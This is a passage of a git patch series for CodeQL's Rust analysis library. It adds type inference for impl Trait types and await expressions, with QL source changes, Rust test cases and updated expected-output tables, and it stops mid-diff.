path.getSegment().getGenericArgList().getAGenericArg() and + result = arg.getTypeRepr() and + name = arg.getIdentifier().getText() + ) + } + + /** Gets the type argument for the associated type `alias`, if any. */ + pragma[nomagic] + private TypeRepr getAnAssocTypeArgument(TypeAlias alias) { + exists(string name | + alias = this.getResolvedTraitAlias(name) and + result = this.getAssocTypeArg(name) + ) + } + + override TypeMention getMentionAt(TypePath tp) { + result = super.getMentionAt(tp) + or + exists(TypeAlias alias, AssociatedTypeTypeParameter attp, TypeMention arg, TypePath suffix | + arg = this.getAnAssocTypeArgument(alias) and + result = arg.getMentionAt(suffix) and + tp = TypePath::cons(attp, suffix) and + attp.getTypeAlias() = alias + ) + } +} + +class ImplTraitTypeReprMention extends TypeMention instanceof ImplTraitTypeRepr { + override TypeMention getTypeArgument(int i) { + result = super.getTypeBoundList().getBound(i).getTypeRepr() + } + + override ImplTraitType resolveType() { + result.getNumberOfBounds() = super.getTypeBoundList().getNumberOfBounds() + } } private TypeParameter pathGetTypeParameter(TypeAlias alias, int i) { diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index e11af1a50e9..0508caf7092 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1664,9 +1664,9 @@ mod async_ { } pub async fn f() { - f1().await.f(); // $ MISSING: method=S1f - f2().await.f(); // $ MISSING: method=S1f - f3().await.f(); // $ MISSING: method=S1f + f1().await.f(); // $ method=S1f + f2().await.f(); // $ method=S1f + f3().await.f(); // $ method=S1f } } @@ -1696,8 +1696,8 @@ mod impl_trait { pub fn f() { let x = f1(); - x.f1(); // $ MISSING: method=Trait1f1 - x.f2(); // $ MISSING: method=Trait2f2 + x.f1(); // $ method=Trait1f1 + x.f2(); // $ method=Trait2f2 } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index d38a8c39373..6cdfdea4975 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2377,8 +2377,12 @@ inferType | main.rs:1639:18:1639:21 | SelfParam | | main.rs:1636:5:1636:14 | S1 | | main.rs:1642:25:1644:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | | main.rs:1643:9:1643:10 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1646:41:1650:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1647:9:1649:9 | { ... } | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1646:41:1650:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1646:41:1650:5 | { ... } | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1646:41:1650:5 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1647:9:1649:9 | { ... } | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1647:9:1649:9 | { ... } | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1647:9:1649:9 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1648:13:1648:14 | S1 | | main.rs:1636:5:1636:14 | S1 | | main.rs:1657:17:1657:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | | main.rs:1657:17:1657:46 | SelfParam | Ptr | file://:0:0:0:0 | & | @@ -2390,9 +2394,26 @@ inferType | main.rs:1658:13:1658:38 | ...::Ready(...) | | {EXTERNAL LOCATION} | Poll | | main.rs:1658:13:1658:38 | ...::Ready(...) | T | main.rs:1636:5:1636:14 | S1 | | main.rs:1658:36:1658:37 | S1 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1662:41:1664:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | | main.rs:1662:41:1664:5 | { ... } | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1662:41:1664:5 | { ... } | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1662:41:1664:5 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1663:9:1663:10 | S2 | | file://:0:0:0:0 | impl Trait ... | | main.rs:1663:9:1663:10 | S2 | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1663:9:1663:10 | S2 | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1663:9:1663:10 | S2 | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1667:9:1667:12 | f1(...) | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1667:9:1667:18 | await ... | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1668:9:1668:12 | f2(...) | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1668:9:1668:12 | f2(...) | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1668:9:1668:12 | f2(...) | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1668:9:1668:18 | await ... | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1668:9:1668:18 | await ... | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1669:9:1669:12 | f3(...) | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1669:9:1669:12 | f3(...) | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1669:9:1669:12 | f3(...) | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | +| main.rs:1669:9:1669:18 | await ... | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1669:9:1669:18 | await ... | | main.rs:1636:5:1636:14 | S1 | | main.rs:1678:15:1678:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1678:15:1678:19 | SelfParam | &T | main.rs:1677:5:1679:5 | Self [trait Trait1] | | main.rs:1682:15:1682:19 | SelfParam | | file://:0:0:0:0 | & | @@ -2401,8 +2422,26 @@ inferType | main.rs:1686:15:1686:19 | SelfParam | &T | main.rs:1675:5:1675:14 | S1 | | main.rs:1690:15:1690:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1690:15:1690:19 | SelfParam | &T | main.rs:1675:5:1675:14 | S1 | +| main.rs:1693:37:1695:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | | main.rs:1693:37:1695:5 | { ... } | | main.rs:1675:5:1675:14 | S1 | +| main.rs:1693:37:1695:5 | { ... } | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | +| main.rs:1693:37:1695:5 | { ... } | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | +| main.rs:1694:9:1694:10 | S1 | | file://:0:0:0:0 | impl Trait ... | | main.rs:1694:9:1694:10 | S1 | | main.rs:1675:5:1675:14 | S1 | +| main.rs:1694:9:1694:10 | S1 | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | +| main.rs:1694:9:1694:10 | S1 | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | +| main.rs:1698:13:1698:13 | x | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1698:13:1698:13 | x | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | +| main.rs:1698:13:1698:13 | x | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | +| main.rs:1698:17:1698:20 | f1(...) | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1698:17:1698:20 | f1(...) | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | +| main.rs:1698:17:1698:20 | f1(...) | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | +| main.rs:1699:9:1699:9 | x | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1699:9:1699:9 | x | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | +| main.rs:1699:9:1699:9 | x | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | +| main.rs:1700:9:1700:9 | x | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1700:9:1700:9 | x | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | +| main.rs:1700:9:1700:9 | x | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | | main.rs:1706:5:1706:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1707:5:1707:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1707:20:1707:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From f2832712bcc83783049ad3f11f021f8b552f78a3 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 2 Jun 2025 10:14:50 +0200 Subject: [PATCH 215/271] Rust: Add more type inference tests --- .../test/library-tests/type-inference/main.rs | 33 +++++ .../type-inference/type-inference.expected | 128 ++++++++++++------ 2 files changed, 123 insertions(+), 38 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 0508caf7092..3ea87394cf2 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1667,12 +1667,18 @@ mod async_ { f1().await.f(); // $ method=S1f f2().await.f(); // $ method=S1f f3().await.f(); // $ method=S1f + S2.await.f(); // $ MISSING: method=S1f + let b = async { + S1 + }; + b.await.f(); // $ MISSING: method=S1f } } mod impl_trait { struct S1; + struct S2; trait Trait1 { fn f1(&self) {} // Trait1f1 @@ -1694,10 +1700,37 @@ mod impl_trait { S1 } + trait MyTrait { + fn get_a(&self) -> A; // MyTrait::get_a + } + + impl MyTrait for S1 { + fn get_a(&self) -> S2 { + S2 + } + } + + fn get_a_my_trait() -> impl MyTrait { + S1 + } + + fn uses_my_trait1>(t: B) -> A { + t.get_a() // $ method=MyTrait::get_a + } + + fn uses_my_trait2(t: impl MyTrait) -> A { + t.get_a() // $ method=MyTrait::get_a + } + pub fn f() { let x = f1(); x.f1(); // $ method=Trait1f1 x.f2(); // $ method=Trait2f2 + let a = get_a_my_trait(); + let b = uses_my_trait1(a); // $ MISSING: type=b:S2 + let a = get_a_my_trait(); + let c = uses_my_trait2(a); // $ type=c:S2 + let d = uses_my_trait2(S1); // $ MISSING: type=d:S2 } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 6cdfdea4975..e561f8579d0 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2378,10 +2378,10 @@ inferType | main.rs:1642:25:1644:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | | main.rs:1643:9:1643:10 | S1 | | main.rs:1636:5:1636:14 | S1 | | main.rs:1646:41:1650:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1646:41:1650:5 | { ... } | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1646:41:1650:5 | { ... } | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | | main.rs:1646:41:1650:5 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1647:9:1649:9 | { ... } | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1647:9:1649:9 | { ... } | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1647:9:1649:9 | { ... } | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | | main.rs:1647:9:1649:9 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1648:13:1648:14 | S1 | | main.rs:1636:5:1636:14 | S1 | | main.rs:1657:17:1657:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | @@ -2396,54 +2396,106 @@ inferType | main.rs:1658:36:1658:37 | S1 | | main.rs:1636:5:1636:14 | S1 | | main.rs:1662:41:1664:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | | main.rs:1662:41:1664:5 | { ... } | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1662:41:1664:5 | { ... } | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1662:41:1664:5 | { ... } | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | | main.rs:1662:41:1664:5 | { ... } | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1663:9:1663:10 | S2 | | file://:0:0:0:0 | impl Trait ... | | main.rs:1663:9:1663:10 | S2 | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1663:9:1663:10 | S2 | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1663:9:1663:10 | S2 | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | | main.rs:1663:9:1663:10 | S2 | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1667:9:1667:12 | f1(...) | | main.rs:1636:5:1636:14 | S1 | | main.rs:1667:9:1667:18 | await ... | | main.rs:1636:5:1636:14 | S1 | | main.rs:1668:9:1668:12 | f2(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1668:9:1668:12 | f2(...) | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1668:9:1668:12 | f2(...) | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | | main.rs:1668:9:1668:12 | f2(...) | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1668:9:1668:18 | await ... | | file://:0:0:0:0 | impl Trait ... | | main.rs:1668:9:1668:18 | await ... | | main.rs:1636:5:1636:14 | S1 | | main.rs:1669:9:1669:12 | f3(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1669:9:1669:12 | f3(...) | impl Trait<0> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/future/future.rs:7:1:105:1 | trait Future | +| main.rs:1669:9:1669:12 | f3(...) | impl Trait<0> | {EXTERNAL LOCATION} | trait Future | | main.rs:1669:9:1669:12 | f3(...) | impl Trait<0>.Output | main.rs:1636:5:1636:14 | S1 | | main.rs:1669:9:1669:18 | await ... | | file://:0:0:0:0 | impl Trait ... | | main.rs:1669:9:1669:18 | await ... | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1678:15:1678:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1678:15:1678:19 | SelfParam | &T | main.rs:1677:5:1679:5 | Self [trait Trait1] | -| main.rs:1682:15:1682:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1682:15:1682:19 | SelfParam | &T | main.rs:1681:5:1683:5 | Self [trait Trait2] | -| main.rs:1686:15:1686:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1686:15:1686:19 | SelfParam | &T | main.rs:1675:5:1675:14 | S1 | -| main.rs:1690:15:1690:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1690:15:1690:19 | SelfParam | &T | main.rs:1675:5:1675:14 | S1 | -| main.rs:1693:37:1695:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1693:37:1695:5 | { ... } | | main.rs:1675:5:1675:14 | S1 | -| main.rs:1693:37:1695:5 | { ... } | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | -| main.rs:1693:37:1695:5 | { ... } | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | -| main.rs:1694:9:1694:10 | S1 | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1694:9:1694:10 | S1 | | main.rs:1675:5:1675:14 | S1 | -| main.rs:1694:9:1694:10 | S1 | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | -| main.rs:1694:9:1694:10 | S1 | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | -| main.rs:1698:13:1698:13 | x | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1698:13:1698:13 | x | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | -| main.rs:1698:13:1698:13 | x | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | -| main.rs:1698:17:1698:20 | f1(...) | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1698:17:1698:20 | f1(...) | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | -| main.rs:1698:17:1698:20 | f1(...) | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | -| main.rs:1699:9:1699:9 | x | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1699:9:1699:9 | x | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | -| main.rs:1699:9:1699:9 | x | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | -| main.rs:1700:9:1700:9 | x | | file://:0:0:0:0 | impl Trait ... | -| main.rs:1700:9:1700:9 | x | impl Trait<0> | main.rs:1677:5:1679:5 | trait Trait1 | -| main.rs:1700:9:1700:9 | x | impl Trait<1> | main.rs:1681:5:1683:5 | trait Trait2 | -| main.rs:1706:5:1706:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1707:5:1707:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1707:20:1707:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1707:41:1707:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1670:9:1670:10 | S2 | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1670:9:1670:16 | await S2 | | main.rs:1652:5:1652:14 | S2 | +| main.rs:1672:13:1672:14 | S1 | | main.rs:1636:5:1636:14 | S1 | +| main.rs:1684:15:1684:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1684:15:1684:19 | SelfParam | &T | main.rs:1683:5:1685:5 | Self [trait Trait1] | +| main.rs:1688:15:1688:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1688:15:1688:19 | SelfParam | &T | main.rs:1687:5:1689:5 | Self [trait Trait2] | +| main.rs:1692:15:1692:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1692:15:1692:19 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | +| main.rs:1696:15:1696:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1696:15:1696:19 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | +| main.rs:1699:37:1701:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1699:37:1701:5 | { ... } | | main.rs:1680:5:1680:14 | S1 | +| main.rs:1699:37:1701:5 | { ... } | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | +| main.rs:1699:37:1701:5 | { ... } | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1700:9:1700:10 | S1 | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1700:9:1700:10 | S1 | | main.rs:1680:5:1680:14 | S1 | +| main.rs:1700:9:1700:10 | S1 | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | +| main.rs:1700:9:1700:10 | S1 | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1704:18:1704:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1704:18:1704:22 | SelfParam | &T | main.rs:1703:5:1705:5 | Self [trait MyTrait] | +| main.rs:1708:18:1708:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1708:18:1708:22 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | +| main.rs:1708:31:1710:9 | { ... } | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1709:13:1709:14 | S2 | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1713:45:1715:5 | { ... } | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1713:45:1715:5 | { ... } | | main.rs:1680:5:1680:14 | S1 | +| main.rs:1713:45:1715:5 | { ... } | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1713:45:1715:5 | { ... } | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1714:9:1714:10 | S1 | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1714:9:1714:10 | S1 | | main.rs:1680:5:1680:14 | S1 | +| main.rs:1714:9:1714:10 | S1 | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1714:9:1714:10 | S1 | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1717:41:1717:41 | t | | main.rs:1717:26:1717:38 | B | +| main.rs:1717:52:1719:5 | { ... } | | main.rs:1717:23:1717:23 | A | +| main.rs:1718:9:1718:9 | t | | main.rs:1717:26:1717:38 | B | +| main.rs:1718:9:1718:17 | t.get_a() | | main.rs:1717:23:1717:23 | A | +| main.rs:1721:26:1721:26 | t | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1721:26:1721:26 | t | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1721:26:1721:26 | t | impl Trait<0>.A | main.rs:1721:23:1721:23 | A | +| main.rs:1721:51:1723:5 | { ... } | | main.rs:1721:23:1721:23 | A | +| main.rs:1722:9:1722:9 | t | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1722:9:1722:9 | t | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1722:9:1722:9 | t | impl Trait<0>.A | main.rs:1721:23:1721:23 | A | +| main.rs:1722:9:1722:17 | t.get_a() | | main.rs:1721:23:1721:23 | A | +| main.rs:1726:13:1726:13 | x | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1726:13:1726:13 | x | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | +| main.rs:1726:13:1726:13 | x | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1726:17:1726:20 | f1(...) | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1726:17:1726:20 | f1(...) | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | +| main.rs:1726:17:1726:20 | f1(...) | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1727:9:1727:9 | x | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1727:9:1727:9 | x | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | +| main.rs:1727:9:1727:9 | x | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1728:9:1728:9 | x | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1728:9:1728:9 | x | impl Trait<0> | main.rs:1683:5:1685:5 | trait Trait1 | +| main.rs:1728:9:1728:9 | x | impl Trait<1> | main.rs:1687:5:1689:5 | trait Trait2 | +| main.rs:1729:13:1729:13 | a | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1729:13:1729:13 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1729:13:1729:13 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1729:17:1729:32 | get_a_my_trait(...) | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1729:17:1729:32 | get_a_my_trait(...) | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1729:17:1729:32 | get_a_my_trait(...) | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1730:32:1730:32 | a | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1730:32:1730:32 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1730:32:1730:32 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1731:13:1731:13 | a | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1731:13:1731:13 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1731:13:1731:13 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1731:17:1731:32 | get_a_my_trait(...) | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1731:17:1731:32 | get_a_my_trait(...) | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1731:17:1731:32 | get_a_my_trait(...) | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1732:13:1732:13 | c | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1732:17:1732:33 | uses_my_trait2(...) | | main.rs:1681:5:1681:14 | S2 | +| main.rs:1732:32:1732:32 | a | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1732:32:1732:32 | a | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1732:32:1732:32 | a | impl Trait<0>.A | main.rs:1681:5:1681:14 | S2 | +| main.rs:1733:32:1733:33 | S1 | | file://:0:0:0:0 | impl Trait ... | +| main.rs:1733:32:1733:33 | S1 | | main.rs:1680:5:1680:14 | S1 | +| main.rs:1733:32:1733:33 | S1 | impl Trait<0> | main.rs:1703:5:1705:5 | trait MyTrait | +| main.rs:1739:5:1739:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1740:5:1740:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1740:20:1740:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1740:41:1740:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | testFailures From c6efc05de172ca2b8eab53d65c5bf29d826eb139 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 2 Jun 2025 12:58:51 +0200 Subject: [PATCH 216/271] Rust: Reimplement type inference for impl Traits and await expressions --- .../codeql/rust/internal/PathResolution.qll | 53 ++++- rust/ql/lib/codeql/rust/internal/Type.qll | 88 +++++--- .../codeql/rust/internal/TypeInference.qll | 198 ++++++++++++++---- .../lib/codeql/rust/internal/TypeMention.qll | 8 +- .../test/library-tests/type-inference/main.rs | 8 +- .../type-inference/type-inference.expected | 113 ++++------ .../PathResolutionConsistency.expected | 8 + rust/tools/builtins/await.rs | 7 + .../typeinference/internal/TypeInference.qll | 6 +- 9 files changed, 327 insertions(+), 162 deletions(-) create mode 100644 rust/tools/builtins/await.rs diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index b1d733036be..108b8745e44 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -5,6 +5,7 @@ private import rust private import codeql.rust.elements.internal.generated.ParentChild private import codeql.rust.internal.CachedStages +private import codeql.rust.frameworks.stdlib.Bultins as Builtins private newtype TNamespace = TTypeNamespace() or @@ -178,6 +179,8 @@ abstract class ItemNode extends Locatable { or // type parameters have access to the associated items of its bounds result = this.(TypeParamItemNode).resolveABound().getASuccessorRec(name).(AssocItemNode) + or + result = this.(ImplTraitTypeReprItemNode).resolveABound().getASuccessorRec(name).(AssocItemNode) } /** @@ -645,6 +648,28 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { } } +private class ImplTraitTypeReprItemNode extends ItemNode instanceof ImplTraitTypeRepr { + pragma[nomagic] + Path getABoundPath() { + result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath() + } + + pragma[nomagic] + ItemNode resolveABound() { result = resolvePathFull(this.getABoundPath()) } + + override string getName() { result = "(impl trait)" } + + override Namespace getNamespace() { result.isType() } + + override Visibility getVisibility() { none() } + + override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } +} + private class MacroCallItemNode extends AssocItemNode instanceof MacroCall { override string getName() { result = "(macro call)" } @@ -1093,14 +1118,21 @@ private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { not i instanceof Crate } +private class BuiltinSourceFile extends SourceFileItemNode { + BuiltinSourceFile() { this.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder } +} + /** * Holds if `file` depends on crate `dep` named `name`. */ +pragma[nomagic] private predicate crateDependencyEdge(SourceFileItemNode file, string name, CrateItemNode dep) { - exists(CrateItemNode c | - dep = c.(Crate).getDependency(name) and - file = c.getASourceFile() - ) + exists(CrateItemNode c | dep = c.(Crate).getDependency(name) | file = c.getASourceFile()) + or + // Give builtin files, such as `await.rs`, access to `std` + file instanceof BuiltinSourceFile and + dep.getName() = name and + name = "std" } private predicate useTreeDeclares(UseTree tree, string name) { @@ -1461,9 +1493,14 @@ private predicate externCrateEdge(ExternCrateItemNode ec, string name, CrateItem * [1]: https://doc.rust-lang.org/core/prelude/index.html * [2]: https://doc.rust-lang.org/std/prelude/index.html */ +pragma[nomagic] private predicate preludeEdge(SourceFile f, string name, ItemNode i) { exists(Crate stdOrCore, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | - f = any(Crate c0 | stdOrCore = c0.getDependency(_) or stdOrCore = c0).getASourceFile() and + f = any(Crate c0 | stdOrCore = c0.getDependency(_) or stdOrCore = c0).getASourceFile() + or + // Give builtin files, such as `await.rs`, access to the prelude + f instanceof BuiltinSourceFile + | 